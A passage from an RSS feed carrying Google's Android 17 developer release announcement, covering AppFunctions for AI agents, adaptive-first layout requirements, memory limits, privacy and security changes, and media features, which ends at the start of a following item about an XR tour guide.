        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini]]></title>
<description><![CDATA[Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XRAt this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning Sy...]]></description>
<link>https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:35 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
